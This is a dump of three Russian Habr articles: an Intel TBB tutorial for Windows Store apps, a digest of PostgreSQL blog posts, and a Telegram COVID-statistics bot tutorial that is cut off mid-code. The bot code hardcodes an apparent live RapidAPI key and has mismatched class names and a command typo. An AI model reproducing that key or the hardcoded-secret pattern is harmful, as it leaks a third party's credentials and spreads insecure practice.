Как известно, в программном интерфейсе приложений для магазина Windows (Windows Store apps) отсутствуют многие функции работы с потоками, начиная с CreateThread() и заканчивая работой с TLS ключами. И это отличный повод перейти от параллелизма, основанного на системно-зависимых потоках к параллелизму, основанному на задачах. Данный пост излагает пошаговую инструкцию о том, как написать простейший многопоточный пример, который проходит аттестацию для магазина Windows (Windows App Certification Kit validation) и, гипотетически, может быть масштабирован до игрушек космического масштаба. А поскольку используется кроссплатформенная библиотека Intel Threading Building Blocks (Intel TBB, TBB, [threadingbuildingblocks.org](http://threadingbuildingblocks.org)), то вычислительная часть может быть легко перенесена на другие платформы, и задача будет заключаться только в том, чтобы нарисовать новый красивый графический интерфейс.
В недавно вышедшем релизе библиотеки Intel TBB tbb41\_20121112oss, который доступен для загрузки на нашем сайте [threadingbuildingblocks.org](http://threadingbuildingblocks.org), добавлена экспериментальная поддержка приложений для магазина Windows, т.е. использование только разрешенного программного интерфейса для разработки таких приложений.
И так, что же необходимо сделать, чтобы собрать простое приложение с использоанием Intel TBB.
Для начала необходимо распаковать и откомпилировать библиотеку, поскольку этот релиз распространяется только в исходниках. Подразумевается, что есть gnu make, в командной строке для студии 2012 выполняем команду
```
gnumake tbb tbbmalloc target_ui=win8ui target_ui_mode=production
```
Со стороны библиотеки всё, переходим в студию.
Создаем новый проект «Blank App (XAML)» используя стандартный шаблон «Visual C++» ->«Windows Store». Для простоты оставим имя проекта, предложенное по умолчанию, «App1».
Теперь добавим каталог <каталог tbb>/include в свойство проекта «Additional Include Directories» и каталог с построенной библиотекой tbb.lib в «Additional Library Directories».
Затем добавим пару кнопок на основную страницу (Класс App1.MainPage). После этого XAML файл страницы будет выглядеть примерно так
```
```
Кстати, перед подключением библиотеки хорошо бы проверить, что до этого момента мы не успели накосячить в коде, и есть все необходимые права и лицензии разработчика. Для этого надо построить и запустить приложение, и проверить, что кнопки нажимаются, и ничего не падает. При положительном результате переходим к подключению библиотеки.
Подключаем TBB и добавляем обработчики нажатия кнопок. Для примера возьмем алгоритмы редукции (tbb::parallel\_reduce) и [детерминированной редукции](http://software.intel.com/en-us/blogs/2012/05/11/deterministic-reduction-a-new-community-preview-feature-in-intel-threading-building-blocks) (tbb::parallel\_deterministic\_reduce) и добавим в исходный файл для основной страницы MainPage.xaml.cpp:
```
#include "tbb/tbb.h"
void App1::MainPage::SR_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e)
{
int N=1000000;
float fr = 1.0f/(float)N;
float sum = tbb::parallel_reduce(
tbb::blocked_range(0,N), 0.0f,
[=](const tbb::blocked\_range& r, float sum)->float {
for( int i=r.begin(); i!=r.end(); ++i )
sum += fr;
return sum;
},
[]( float x, float y )->float {
return x+y;
}
);
SR->Content="Press to run Simple Reduction\nThe result is " + sum.ToString();
}
void App1::MainPage::DR\_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e)
{
int N=1000000;
float fr = 1.0f/(float)N;
float sum = tbb::parallel\_deterministic\_reduce(
tbb::blocked\_range(0,N), 0.0f,
[=](const tbb::blocked\_range& r, float sum)->float {
for( int i=r.begin(); i!=r.end(); ++i )
sum += fr;
return sum;
},
[]( float x, float y )->float {
return x+y;
}
);
DR->Content="Press to run Deterministic Reduction\nThe result is " + sum.ToString();
}
```
И XAML файл для основной страницы будет выглядеть так
```
```
Добавляем библиотеки tbb.dll и tbbmalloc.dll в контейнер приложения. Для этого нужно добавить файлы в проект (через project->add existing item) и выставить свойство “Content” в «Yes». В этом случае файлы будут скопированы в контейнер (AppX) внутри приложения и могут быть подгружены как при старте приложения, так и позже.
Готово. Можно запустить симулятор и смотреть, как работает приложение:
Следующим шагом надо запустить «Windows App Cert Kit» и проверить, что приложение успешно проходит аттестацию:
Вот и всё! Простое приложение готово, теперь можно всё усложнять.
Для тех, кто заинтересовался, пробуйте:
Скачать библиотеку Intel Threading Building Blocks (Версия с открытым исходным кодом):
[threadingbuildingblocks.org](http://threadingbuildingblocks.org)
Коммерческая версия Intel TBB (функционально не отличается):
[software.intel.com/en-us/intel-tbb](http://software.intel.com/en-us/intel-tbb)
Англоязычные и русскоязычные блоги об Intel TBB
[software.intel.com/en-us/tags/17207](http://software.intel.com/en-us/tags/17207)
[software.intel.com/en-us/tags/17220](http://software.intel.com/en-us/tags/17220)
Ну и, конечно, наш форум,
[software.intel.com/en-us/forums/intel-threading-building-blocks](http://software.intel.com/en-us/forums/intel-threading-building-blocks) | https://habr.com/ru/post/158263/ | null | ru | null |
# PostgreSQL в «Тензоре» — публикации за год (#3)
Под занавес уходящего года предлагаю традиционно вспомнить, про какие интересные возможности и особенности работы с PostgreSQL мы рассказали в нашем блоге.
Если не видели [дайджест за прошлый год](/ru/company/tensor/blog/590977/) — время наверстать упущенное!
---
Анализ запросов в PostgreSQL
----------------------------
**Как мы анализируем планы запросов, чтобы сделать их максимально быстрыми*.***
> Мы можем предложить наш комплекс по мониторингу серверов PostgreSQL, анализу запросов и визуализации их планов как для корпоративного использования на ваших мощностях, так и для интеграции в ваши системы управления - пишите на [kilor@tensor.ru](mailto:kilor@tensor.ru).
>
>
01.11 — [PostgreSQL, что в логе твоем?](/ru/company/tensor/blog/696804/) (+29, \*67)
В [демо-режиме](https://demo-explain.tensor.ru/query/dashboard/) комплексного анализа логов PostgreSQL, вы можете загрузить лог своего сервера и наглядно увидеть, чем он у вас занимается.
20.07 — [Self-hosted EXPLAIN: наглядно и безопасно](/ru/company/tensor/blog/677948/) (+32, \*53)
Теперь вы можете развернуть наш визуализатор планов [explain.tensor.ru](https://explain.tensor.ru/archive/) на собственной площадке и больше не переживать о вопросах безопасности.
26.04 — [Псс, парень… индекс нужен?](/ru/company/tensor/blog/659889/) (+22, \*120)
Как с помощью [explain.tensor.ru](https://explain.tensor.ru/archive/) по плану запроса легко понять, каких именно индексов не хватает базе и почему.
13.04 — [«Импортозамещаем» анализ планов PostgreSQL](/ru/company/tensor/blog/660727/) (+40, \*63)
В связи с "самоизоляцией" *explain.depesz.com* от RU-пользователей рекомендуем использовать для анализа планов запросов PostgreSQL сервис [explain.tensor.ru](https://explain.tensor.ru/archive/).
---
SQL Antipatterns и оптимизация SQL
----------------------------------
**Как поправить наиболее частые ошибки разработчиков при работе с базой.**
01.12 — [простой(?) INSERT… VALUES](/ru/company/tensor/blog/702902/) (+35, \*64)
Как больно наступить на грабли в совсем простом, казалось бы, запросе? Допустим, у вас есть табличка статистики, куда вы периодически скидываете таймстамп последнего "текущего" состояния в паре координат - например, `(ID организации, ID сотрудника)`...
29.07 — [где скаляру в GiST место?](/ru/company/tensor/blog/679834/) (+10, \*35)
Куда поставить идентификатор сегмента, если интервалы надо искать с ограничением по нему - до интервала или после?
07.07 — [куда крутить NULLS](/ru/company/tensor/blog/675580/) (+21, \*37)
`NULLS FIRST` или `NULLS LAST` - когда как правильно?
11.05 — [когда мешает внешний ключ](/ru/company/tensor/blog/665118/) (+24, \*73)
При использовании foreign keys можно легко хлебнуть горя, если не позаботиться о правильных индексах.
05.05 — [в этом плане кто-то лишний](/ru/company/tensor/blog/664466/) (+10, \*38)
Когда в запросе возникают избыточные сортировки и агрегации - это не здорово.
14.02 — [рекурсивные грабли на ровном месте, или Сказка о потерянном времени](/ru/company/tensor/blog/651407/) (+17, \*45)
Простое добавление даже неиспользуемой рекурсии в запрос может внезапно затормозить его в сотни раз.
31.01 — [делаем группировку быстрее от 0.1 до 5 раз](/ru/company/tensor/blog/648863/) (+13, \*73)
Не все группировки одинаково полезны - иногда в результате нескольких оптимизаций запрос может стать... медленнее!
---
SQL HowTo
---------
**Учимся писать нетривиальные SQL-запросы для решения прикладных задач.**
13.07 — [наперегонки со временем](/ru/company/tensor/blog/676784/) (+11, \*70)
Как за ограниченное время выполнения заставить запрос вернуть хоть какую-то полезную информацию.
29.06 — [обход дерева иерархии «по курсору» через двойную рекурсию](/ru/company/tensor/blog/673856/) (+15, \*70)
Как можно обходить иерархию в стиле "бесконечного списка".
30.05 — [«Ленивый сахар» PostgreSQL](/ru/company/tensor/blog/667998/) (+42, \*151)
"Синтаксический сахар" некоторых языковых конструкций PostgreSQL позволяет не только писать меньше кода, но и добиться, что ваша база будет делать часть вычислений "лениво", только при фактической необходимости.
29.03 — [разные варианты работы с EAV](/ru/company/tensor/blog/657895/) (+22, \*52)
Модель Entity-Attribute-Value удобна для разработчика, но не для базы. Если поменять ее невозможно, то можно хотя бы выжать из нее максимум производительности.
11.02 — [«простое» прогнозирование](/ru/company/tensor/blog/650919/) (+15, \*60)
Как на основе данных за предыдущие периоды построить адекватный прогноз.
19.01 — [считаем «уников» на интервале](/ru/company/tensor/blog/646439/) (+10, \*39)
Для систем управления бизнесом часто приходится решать очень похожий класс задач по вычислению количества уникальных объектов на произвольном временном интервале.
---
DBA
---
**О базе надо заботиться, и делать это предельно аккуратно.**
08.12 — [хранение списков — таблица, массив, строка?](/ru/company/tensor/blog/704250/) (+14, \*46)
Мини-холивар на тему эффективного хранения небольших списковых структур.
17.01 — [Реверс-инжинирим структуру БД PostgreSQL по плану запроса к ней](/ru/company/tensor/blog/646043/) (+16, \*50)
Как по плану запроса восстановить схему БД с помощью [explain.tensor.ru](https://explain.tensor.ru/archive/). | https://habr.com/ru/post/707626/ | null | ru | null |
# Telegram бот на python против COVID-19
Вступление
----------
В связи с обстановкой тотальной паники и дезинформации которая льется к нам из абсолютно всех каналов таких как мессенджеры, новостные сайты, радио, телевидение было принято решение показать как можно победить коронавирус с помощью бота на [python](https://www.python.org) и других интересных ингредиентов для [Telegram](https://telegram.org) (~~шутка~~)!
Для приготовления вакцина-бота в домашних условиях требуется эвм, python, [docker](https://www.docker.com), [heroku CLI](https://devcenter.heroku.com/articles/heroku-cli), telegram мессенджер как платформа и [mongoDB](https://www.mongodb.com) в качестве базы данных. Всем остальным можно пренебречь в начале нашего рассказа, в конце будет предоставлен полный список и дозировка для критического анализа и дальнейшего развития.
### Что мы хотим сделать
Начнем с того, что определимся, что мы хотим сделать, это телеграмм бот который будет уметь показывать:
* Статистику случаев заражения [COVID-19](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D1%80%D0%BE%D0%BD%D0%B0%D0%B2%D0%B8%D1%80%D1%83%D1%81%D0%BD%D0%B0%D1%8F_%D0%B8%D0%BD%D1%84%D0%B5%D0%BA%D1%86%D0%B8%D1%8F_COVID-19) на текущую дату по любой стране
* Статистику случаев заражения COVID-19 по геолокации
* Статистику запросов стран пользователями
* Статистику действий пользователей
* Информацию о контактах
* Справку, о том, как пользоваться ботом
### Что мы будем с этого иметь
Чему мы научимся во время приготовления вакцина-бота:
* Работой с базой данных mongodb(подключение, получение данных, сохранение)
* Работа с библиотекой [PyTelegramBotAPI](https://github.com/eternnoir/pyTelegramBotAPI)
* Работа с внешними [API](https://ru.wikipedia.org/wiki/API)
* Упаковка приложения в Docker контейнер
* Бесплатная публикация бота на [PAAS платформу Heroku](https://www.heroku.com)
* [CI](https://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D0%BF%D1%80%D0%B5%D1%80%D1%8B%D0%B2%D0%BD%D0%B0%D1%8F_%D0%B8%D0%BD%D1%82%D0%B5%D0%B3%D1%80%D0%B0%D1%86%D0%B8%D1%8F) приложения с помощью [Github](https://github.com) и Heroku
### Регистрация бота в мессенджере Telegram
Затем необходимо зарегистрировать нашего бота в Telegram и получить токен для работы с ним из нашего кода. Процедура тривиальная, но все же для тех кто не знаком с платформой опишу пошагово:
* Найти бота в Telegram по имени “[BotFather](https://telegram.me/BotFather)”
* Выполнить команду /start
* Выполнить команду /newbot
* Выбрать ник бота и адрес по которому он будет доступен в Telegram
* Сохраняем token который бот вернул нам в ответе в блокнот
### Подготовка машины для программирования бота
Для того чтобы подготовить машину к программированию бота для Telegram необходимо поставить на нее следующее программное обеспечение:
* Интерпретатор языка программирования [Python](https://www.python.org/downloads/)
* Консольное приложение [Heroku CLI](https://devcenter.heroku.com/articles/heroku-cli)
* Консольное приложение [git CLI](https://git-scm.com/downloads)
* Систему управления контейнерами [Docker](https://www.docker.com/products/docker-desktop)
* Сервер баз данных [MongoDb](https://www.mongodb.com/download-center)
* IDE или редактор для разработки ПО на Python, я пользуюсь [Pycharm от JetBrains](https://www.jetbrains.com/pycharm/)
### Структура приложения
Структура приложения может быть выбрана вами в зависимости от ваших потребностей, целей и опыта. Но перед этим предлагаю вам создать репозиторий на github с названием вашего бота и склонировать его к себе на машину, это необходимо для использования системы контроля версий и настройки CI в перспективе.
Наш вакцина-бот внутри будет иметь вот такую структуру
```
tree -L 2
├── Dockerfile
├── .gitignore
├── README.md
├── common
│ ├── containers.py
│ └── tg_analytics.py
├── data
│ └── mongo_context.py
├── data.csv
├── heroku.yml
├── setup.py
├── requirements.txt
├── services
│ ├── country_service.py
│ └── statistics_service.py
└── templates
├── contacts.html
├── country_statistics.html
├── himydear.html
├── idunnocommand.html
├── notfound.html
└── query_statistics.html
```
Приступим к разработке
----------------------
### Настройка виртуального окружения для приложения
Далее настроим [виртуальное окружение](https://docs.python.org/3/tutorial/venv.html) для проекта, для этого нам необходимо пойти в директорию проекта с помощью терминала командной строки и выполнить команду следующего содержания:
```
python -m venv env # создание виртуального окружения
sourse env/bin/activate # активация виртуального окружения
```
Виртуальное окружение необходимо для установки различных зависимостей(пакетов и модулей) локально относительно проекта, если устанавливать пакеты без виртуального окружения в проекте, то они устанавливаются глобально относительно самой машины, что в свою очередь может привести к проблемам при работе с другими проектами.
Если по какой-то причине вам необходимо деактивировать виртуальное окружение и установить что-то глобально для всех проектов, то сделать это можно зайдя в директорию проекта через терминал командной строки и выполнив команду:
```
deactivate # деактивация виртуального окружения
```
### Зависимости проекта
Далее создадим файл зависимостей и основной скрипт который будем запускать в директории проекта. Что такое зависимости можно подробно почитать [тут](https://docs.python.org/3/tutorial/venv.html), идем дальше.
```
touch requirements.txt # создание файла зависимостей
touch setup.py # создание python скрипта
```
Список зависимостей для нашего проекта состоит из:
* Requests — библиотека для HTTP запросов
* Pytelegrambotapi — библиотека для работы с Telegram API
* Pymongo — библиотека для работы с базой данных Mongo
* Dependency\_injector — библиотека для внедрения зависимостей
* Geocoder — библиотека для работы с Geonames API
* Jinja2 — библиотека для работы с шаблонами
* Ciso8601 — библиотека для преобразования даты в формат ISO 8601
* Cachetools — библиотека для кэширования
* Pandas — библиотека для анализа данных
* Flask — микро web framework написанный на python
Важно в файле зависимостей указать версии библиотек, чтобы потом при установке не возникло проблем с обратной совместимостью.
```
requests==2.23.0
pytelegrambotapi==3.6.7
pymongo==3.10.1
dependency_injector==3.15.6
geocoder==1.38.1
jinja2==2.11.1
ciso8601==2.1.3
cachetools==4.0.0
pandas==1.0.3
flask==1.1.2
```
На этом подготовительные работы закончены можем приступать непосредственно к программированию. Сначала мы сделаем заготовку которая позволит нам проверить работает ли вообще наш бот, корректно ли взаимодействует с API, выполняет ли команды и приказы ;).
Программирование бота
---------------------
Чтобы продолжить нам необходимо установить зависимости из файла requirements.txt в наше приложение с помощью команды в терминале командной строки, но прежде чем это делать проверьте включили ли вы виртуальное окружение для проекта о котором говорилось выше:
```
pip install -r requirements.txt #установка зависимостей проекта
```
После того как зависимости установлены, открываем редактор и напишем первый обработчик команды для нашего бота.
**Скрипт setup.py**
```
# /setup.py file
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# dependencies
import telebot
import os
from telebot import types
# bot initialization
token = os.getenv('API_BOT_TOKEN')
bot = telebot.TeleBot(token)
# start command handler
@bot.message_handler(commands=['start'])
def command_start_handler(message):
cid = message.chat.id
bot.send_chat_action(cid, 'typing')
markup = types.ReplyKeyboardMarkup(row_width=1, resize_keyboard=True)
button_geo = types.KeyboardButton(text='send location', request_location=True)
markup.add(button_geo)
bot.send_message(cid, 'Hello stranger, please choose commands from the menu', reply_markup=markup)
# application entry point
if __name__ == '__main__':
bot.polling(none_stop=True, interval=0)
```
Прежде чем запустить бота, давайте зададим [переменную окружения](https://en.wikipedia.org/wiki/Environment_variable) API\_BOT\_TOKEN, через pycharm IDE это можно сделать [вот так](https://www.jetbrains.com/help/objc/add-environment-variables-and-program-arguments.html). В правом верхнем углу есть выпадающее меню с названием “Edit configurations”, нажимаем на это меню, настраиваем конфигурацию и задаем переменную окружения, значение берем из блокнота куда мы сохранили token ранее.
А вот так выглядит визард где необходимо непосредственно задать переменную
После этого запускаем нашего бота и переходим в приложение Telegram для его проверки.
Супер, бот отвечает как и ожидалось и рисует клавиатуру с кнопкой “send location”, давайте продолжим и напишем обработчики команд «contacts», «help» и добавим немного функциональности нашему вакцина-боту.
Важно упомянуть что бот умеет отвечать разметкой [HTML](https://en.wikipedia.org/wiki/HTML) и [Markdown](https://en.wikipedia.org/wiki/Markdown), [тэги](https://en.wikipedia.org/wiki/HTML_element) которые поддерживает Telegram можно посмотреть вот здесь. Мы будем пользоваться HTML для эстетического удовольствия.
**Скрипт setup.py**
```
# /setup.py file
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
known_users = []
user_steps = {}
commands = {
'start': 'Start using this bot',
'help': 'Useful information about this bot',
'contacts': 'Contacts'
}
# decorator for bot actions
def send_action(action):
"""Sends `action` while processing func command."""
def decorator(func):
@wraps(func)
def command_func(message, *args, **kwargs):
bot.send_chat_action(chat_id=message.chat.id, action=action)
return func(message, *args, **kwargs)
return command_func
return decorator
# help command handler
@bot.message_handler(commands=['help'])
@send_action('typing')
def command_help_handler(message):
help_text = 'The following commands are available: \n'
for key in commands:
help_text += '/' + key + ': '
help_text += commands[key] + '\n'
help_text += 'ANTICOVID19BOT speaks english, be careful and take care!'
bot.send_message(message.chat.id, help_text)
# contacts command handler
@bot.message_handler(commands=['contacts'])
@send_action('typing')
def command_contacts_handler(message):
with codecs.open('templates/contacts.html') as file:
template = Template(file.read())
bot.send_message(message.chat.id, template.render(username=message.chat.username), parse_mode='HTML')
```
Также в качестве фана сделаем сохранение запросов пользователей и их получение из базы данных.
**Скрипт mongo\_context.py**
```
# /data/mongo_context.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# dependencies
import os
from datetime import datetime
from pymongo import MongoClient
class MongoDbContext:
"""Mongo database context class"""
# constructor of class
def __init__(self):
try:
self.connection_string = os.getenv('CONNECTION_STRING')
self.client = MongoClient(self.connection_string)
except Exception as e:
raise e
# save user query method
def save_query(self, country, user_name):
db = self.client[os.getenv('DB_NAME')]
countries_stats = db.country_stats
result = countries_stats.insert_one({'date': datetime.now(), 'country': country, 'username': user_name})
# get users queries method
def get_users_queries(self):
db = self.client[os.getenv('DB_NAME')]
countries_stats = db.country_stats
queries = countries_stats.aggregate([
{'$group': {'_id': '$country', 'count': {'$sum': 1}}},
{'$sort': {'count': -1}},
{'$limit': 5}
])
users = countries_stats.aggregate([
{'$group': {'_id': '$username', 'count': {'$sum': 1}}},
{'$sort': {'count': -1}},
{'$limit': 5}
])
return {'queries': list(queries), 'users': list(users)}
```
Добавим еще немного кода для работоспособности нашего бота с точки зрения инфраструктуры.
**Скрипт containers.py**
```
# /common/containers.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# dependencies
import dependency_injector.containers as containers
import dependency_injector.providers as providers
from data.mongo_context import MongoDBContext
class DbContext(containers.DeclarativeContainer):
"""di for future development"""
mongo_db_context = providers.Singleton(MongoDBContext)
```
Пришло время сервисов которые собственно и будут получать данные для нашего бота от сторонних API. В качестве API мы будем использовать два источника, первый источник это информация о [статистике случаев заболевания по странам](https://rapidapi.com/api-sports/api/covid-193), второй источник это [сервис геокодинга](https://www.geonames.org) который преобразует координаты(широта, долгота) в название страны для того чтобы можно было использовать локацию которую отдает Telegram.
**Скрипт country\_service.py**
```
# /services/country_service.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# dependencies
import os
import requests
from cachetools import cached, TTLCache
class CountryService:
"""This class provide country information"""
# 3 hours cache time
cache = TTLCache(maxsize=100, ttl=10800)
# method for getting country information by lat nad lng
@cached(cache)
def get_country_information(self, latitude, longitude):
url = 'http://api.geonames.org/countrySubdivisionJSON'
query_string = {'lat': latitude, 'lng': longitude, 'username': os.getenv('GEO_NAME_API_KEY')}
geo_result = requests.request('GET', url, params=query_string)
return geo_result.json()
```
**Скрипт statistics\_service.py**
```
# /services/statistics_service.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# dependencies
import os
import requests
import codecs
import ciso8601
from jinja2 import Template
from cachetools import cached, TTLCache
from common.containers import DBContext
class StatisticsService:
"""This class provide information about statistics"""
# cache time 3 hours
cache = TTLCache(maxsize=100, ttl=10800)
def __init__(self):
try:
self.covid_api_token = os.getenv('COVID_STAT_API_TOKEN')
self.db_context = DBContext.mongo_db_context()
except Exception as e:
raise e
# method for getting statistics from API
def __get_statistics_by_country_from_api(self, country_name):
url = "https://covid-193.p.rapidapi.com/statistics"
query_string = {'country': country_name}
headers = {
'x-rapidapi-host': "covid-193.p.rapidapi.com",
'x-rapidapi-key': "db21e48371msh30968ff2ec637d3p19bd08jsn32426bcabdaf"
}
response = requests.request("GET", url, headers=headers, params=query_string)
return response.json()
# method for rendering statistics as html
@cached(cache)
def __get_statistics_by_country_as_html(self, country_name):
try:
statistics_json = self.__get_statistics_by_country_from_api(country_name)
if len(statistics_json['response']) == 0:
with codecs.open('templates/idunnocommand.html', 'r', encoding='UTF-8') as file:
template = Template(file.read())
return template.render(text_command=country_name)
else:
with codecs.open('templates/country_statistics.html', 'r', encoding='UTF-8') as file:
template = Template(file.read())
return template.render(date=ciso8601.parse_datetime(statistics_json['response'][0]['time']).date(),
country=statistics_json['response'][0]['country'].upper(),
new_cases=statistics_json['response'][0]['cases']['new'],
active_cases=statistics_json['response'][0]['cases']['active'],
critical_cases=statistics_json['response'][0]['cases']['critical'],
recovered_cases=statistics_json['response'][0]['cases']['recovered'],
total_cases=statistics_json['response'][0]['cases']['total'],
new_deaths=statistics_json['response'][0]['deaths']['new'],
total_deaths=statistics_json['response'][0]['deaths']['total'])
except Exception as e:
raise e
# method for getting statistics by country_name
def get_statistics_by_country_name(self, country_name, user_name):
self.db_context.save_query(country_name, user_name)
return self.__get_statistics_by_country_as_html(country_name)
# method for getting statistics of users and queries
def get_statistics_of_users_queries(self):
query_statistics = self.db_context.get_users_queries()
with codecs.open('templates/query_statistics.html', 'r', encoding='UTF-8') as file:
template = Template(file.read())
return template.render(queries=query_statistics['queries'], users=query_statistics['users'])
```
Далее добавим обработчики команд и аналитику для отслеживания использования нашего бота. Для аналитики в ботах можно использовать такой сервис как [chatbase](https://chatbase.com), но мы пойдем другим путем и сохраним аналитику самостоятельно в [csv](https://en.wikipedia.org/wiki/Comma-separated_values) файл, больше для наглядности работы с ботом, нежели практического смысла. Код для аналитики я взял [здесь](https://habr.com/ru/post/487208/), огромное спасибо его автору [alekskram](https://habr.com/ru/users/alekskram/).
**Скрипт tg\_analitycs.py**
```
# /common/tg_analitycs.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# dependencies
import csv
import datetime
import os
import pandas as pd
users_type = {
1: 'пользователь',
2: 'пользователя',
3: 'пользователя',
4: 'пользователя'
}
day_type = {
1: 'день',
2: 'дня',
3: 'дня',
4: 'дня'
}
# remove txt file
def remove(user_id):
path = os.getcwd() + '/%s.txt' % user_id
os.remove(path)
# write data to csv
def statistics(user_id, command):
data = datetime.datetime.today().strftime("%Y-%m-%d")
with open('data.csv', 'a', newline="") as fil:
wr = csv.writer(fil, delimiter=';')
wr.writerow([data, user_id, command])
# make report
def analysis(bid, user_id):
season = int(bid[1])
df = pd.read_csv('data.csv', delimiter=';', encoding='utf8')
number_of_users = len(df['id'].unique())
number_of_days = len(df['data'].unique())
message_to_user = 'Статистика использования бота за %s %s: \n' % (season, day_type.get(season, 'дней'))
message_to_user += 'Всего статистика собрана за %s %s \n' % (number_of_days, day_type.get(season, 'дней'))
if season > number_of_days:
season = number_of_days
message_to_user += 'Указанное вами количество дней больше,чем имеется\n' \
'Будет выведена статистика за максимальное возможное время\n'
df_user = df.groupby(['data', 'id']).count().reset_index().groupby('data').count().reset_index()
list_of_dates_in_df_user = list(df_user['data'])
list_of_number_of_user_in_df_user = list(df_user['id'])
list_of_dates_in_df_user = list_of_dates_in_df_user[-season:]
list_of_number_of_user_in_df_user = list_of_number_of_user_in_df_user[-season:]
df_command = df.groupby(['data', 'command']).count().reset_index()
unique_commands = df['command'].unique()
commands_in_each_day = []
list_of_dates_in_df_command = list(df_command['data'])
list_of_number_of_user_in_df_command = list(df_command['id'])
list_of_name_of_command_in_df_command = list(df_command['command'])
commands_in_this_day = dict()
for i in range(len(list_of_dates_in_df_command)):
commands_in_this_day[list_of_name_of_command_in_df_command[i]] = list_of_number_of_user_in_df_command[i]
if i + 1 >= len(list_of_dates_in_df_command) or list_of_dates_in_df_command[i] != list_of_dates_in_df_command[
i + 1]:
commands_in_each_day.append(commands_in_this_day)
commands_in_this_day = dict()
commands_in_each_day = commands_in_each_day[-season:]
if 'пользователи' in bid:
message_to_user += 'За всё время бота использовало ' + '%s' % number_of_users \
+ ' %s ' % users_type.get(number_of_users, 'пользователей') + '\n' \
'Пользователей за последние %s %s: \n' % (
season, day_type.get(season, 'дней'))
for days, number, comm_day in zip(list_of_dates_in_df_user, list_of_number_of_user_in_df_user,
commands_in_each_day):
message_to_user += 'Дата:%s Количество:%d Из них новых:%s\n' % (days, number, comm_day.get('/start', 0))
if 'команды' in bid:
message_to_user += 'Статистика команд за последние %s %s: \n' % (season, day_type.get(season, 'дней'))
for days, commands in zip(list_of_dates_in_df_user, commands_in_each_day):
message_to_user += 'Дата:%s\n' % days
for i in unique_commands:
if i in commands:
message_to_user += '%s - %s раз\n' % (i, commands.get(i))
else:
message_to_user += '%s - 0 раз\n' % i
if 'txt' in bid or 'тхт' in bid:
with open('%s.txt' % user_id, 'w', encoding='UTF-8') as fil:
fil.write(message_to_user)
fil.close()
else:
return message_to_user
```
Актуализируем наш главный скрипт который управляет ботом.
**Скрипт setup.py**
```
# /setup.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# dependencies
import telebot
import os
import codecs
import common.tg_analytics as tga
from functools import wraps
from telebot import types
from jinja2 import Template
from services.country_service import CountryService
from services.statistics_service import StatisticsService
# bot initialization
token = os.getenv('API_BOT_TOKEN')
bot = telebot.TeleBot(token)
user_steps = {}
known_users = []
stats_service = StatisticsService()
country_service = CountryService()
commands = {'start': 'Start using this bot',
'country': 'Please, write a country name',
'statistics': 'Statistics by users queries',
'help': 'Useful information about this bot',
'contacts': 'Developer contacts'}
def get_user_step(uid):
if uid in user_steps:
return user_steps[uid]
else:
known_users.append(uid)
user_steps[uid] = 0
return user_steps[uid]
# decorator for bot actions
def send_action(action):
def decorator(func):
@wraps(func)
def command_func(message, *args, **kwargs):
bot.send_chat_action(chat_id=message.chat.id, action=action)
return func(message, *args, **kwargs)
return command_func
return decorator
# decorator for save user activity
def save_user_activity():
def decorator(func):
@wraps(func)
def command_func(message, *args, **kwargs):
tga.statistics(message.chat.id, message.text)
return func(message, *args, **kwargs)
return command_func
return decorator
# start command handler
@bot.message_handler(commands=['start'])
@send_action('typing')
@save_user_activity()
def start_command_handler(message):
cid = message.chat.id
markup = types.ReplyKeyboardMarkup(row_width=1, resize_keyboard=True)
button_geo = types.KeyboardButton(text='send location', request_location=True)
markup.add(button_geo)
bot.send_message(cid, 'Hello, {0}, please choose command from the menu'.format(message.chat.username),
reply_markup=markup)
help_command_handler(message)
# country command handler
@bot.message_handler(commands=['country'])
@send_action('typing')
@save_user_activity()
def country_command_handler(message):
cid = message.chat.id
user_steps[cid] = 1
bot.send_message(cid, '{0}, write name of country please'.format(message.chat.username))
# geo command handler
@bot.message_handler(content_types=['location'])
@send_action('typing')
@save_user_activity()
def geo_command_handler(message):
cid = message.chat.id
geo_result = country_service.get_country_information(message.location.latitude, message.location.longitude)
statistics = stats_service.get_statistics_by_country_name(geo_result['countryName'], message.chat.username)
user_steps[cid] = 0
bot.send_message(cid, statistics, parse_mode='HTML')
# country statistics command handler
@bot.message_handler(func=lambda message: get_user_step(message.chat.id) == 1)
@send_action('typing')
@save_user_activity()
def country_statistics_command_handler(message):
cid = message.chat.id
country_name = message.text.strip()
try:
statistics = stats_service.get_statistics_by_country_name(country_name, message.chat.username)
except Exception as e:
raise e
user_steps[cid] = 0
bot.send_message(cid, statistics, parse_mode='HTML')
# query statistics command handler
@bot.message_handler(commands=['statistics'])
@send_action('typing')
@save_user_activity()
def statistics_command_handler(message):
cid = message.chat.id
bot.send_message(cid, stats_service.get_statistics_of_users_queries(), parse_mode='HTML')
# contacts command handler
@bot.message_handler(commands=['contacts'])
@send_action('typing')
@save_user_activity()
def contacts_command_handler(message):
cid = message.chat.id
with codecs.open('templates/contacts.html', 'r', encoding='UTF-8') as file:
template = Template(file.read())
bot.send_message(cid, template.render(user_name=message.chat.username), parse_mode='HTML')
# help command handler
@bot.message_handler(commands=['help'])
@send_action('typing')
@save_user_activity()
def help_command_handler(message):
cid = message.chat.id
help_text = 'The following commands are available \n'
for key in commands:
help_text += '/' + key + ': '
help_text += commands[key] + '\n'
help_text += 'ANTI_COVID_19_BOT speaks english, be careful and take care'
bot.send_message(cid, help_text)
# hi command handler
@bot.message_handler(func=lambda message: message.text.lower() == 'hi')
@send_action('typing')
@save_user_activity()
def hi_command_handler(message):
cid = message.chat.id
with codecs.open('templates/himydear.html', 'r', encoding='UTF-8') as file:
template = Template(file.read())
bot.send_message(cid, template.render(user_name=message.chat.username), parse_mode='HTML')
# default text messages and hidden statistics command handler
@bot.message_handler(func=lambda message: True, content_types=['text'])
@send_action('typing')
@save_user_activity()
def default_command_handler(message):
cid = message.chat.id
if message.text[:int(os.getenv('PASS_CHAR_COUNT'))] == os.getenv('STAT_KEY'):
st = message.text.split(' ')
